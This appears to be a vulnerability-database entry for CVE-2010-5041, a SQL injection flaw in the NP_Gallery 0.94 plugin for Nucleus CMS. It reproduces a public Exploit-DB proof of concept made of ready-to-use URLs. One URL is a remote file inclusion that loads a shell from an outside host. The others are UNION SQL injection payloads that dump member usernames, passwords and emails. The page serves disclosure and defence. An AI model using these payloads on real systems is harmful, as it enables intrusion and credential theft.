CVE-2010-5041
Description
SQL injection vulnerability in index.php in the NP_Gallery plugin 0.94 for Nucleus allows remote attackers to execute arbitrary SQL commands via the id parameter in a plugin action.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Nucleus Plugin Gallery - Remote File Inclusion / SQL Injection
=============================================================================================================
[o] Nucleus Plugin Gallery RFI & SQLi Vulnerability
Software : NP_Gallery version 0.94
Download : http://wakka.xiffy.nl/_media/np_gallery_0941.zip?id=gallery&cache=cache
Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
Contact : public[at]antisecurity[dot]org
Home : http://antisecurity.org/
=============================================================================================================
[o] Exploit
http://localhost/[path]/nucleus/plugins/NP_gallery.php?DIR_NUCLEUS=[evilc0de]
http://localhost/[path]/index.php?action=plugin&name=gallery&type=album&id=[SQLi]
http://localhost/[path]/index.php?action=plugin&name=gallery&type=item&id=[SQLi]
[o] PoC
http://localhost/nucleus/plugins/NP_gallery.php?DIR_NUCLEUS=http://host.com/shell?
http://localhost/index.php?action=plugin&name=gallery&type=album&id=1+and+1=2+union+select+1,group_concat(mname,0x3a,mrealname,0x3a,mpassword,0x3a,memail),3,4,5,6,7,8,9,10+from+nucleus_member--
http://localhost/index.php?action=plugin&name=gallery&type=item&id=1+and+1=2+union+select+1,group_concat(mname,0x3a,mrealname,0x3a,mpassword,0x3a,memail),3,4,5,6,7,8,9,10+from+nucleus_member--
=============================================================================================================
[o] Greetz
Angela Zhang stardustmemory aJe martfella pizzyroot Genex
H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
ArRay bjork xmazinha veter f1 & all people in #evilc0de [at] irc.byroe.net
=============================================================================================================
[o] May 29 2010 - GMT +07:00 Jakarta, Indonesia
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| john_bradshaw | np_gallery_plugin | 0.94 | |
| nucleuscms | nucleus | | |
References
- http://secunia.com/advisories/40022
- http://www.exploit-db.com/exploits/12787/
- http://www.osvdb.org/65005
- http://www.securityfocus.com/bid/40448
- http://www.vupen.com/english/advisories/2010/1285
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58997
- http://secunia.com/advisories/40022
- http://www.exploit-db.com/exploits/12787/
- http://www.osvdb.org/65005
- http://www.securityfocus.com/bid/40448
- http://www.vupen.com/english/advisories/2010/1285
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58997
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.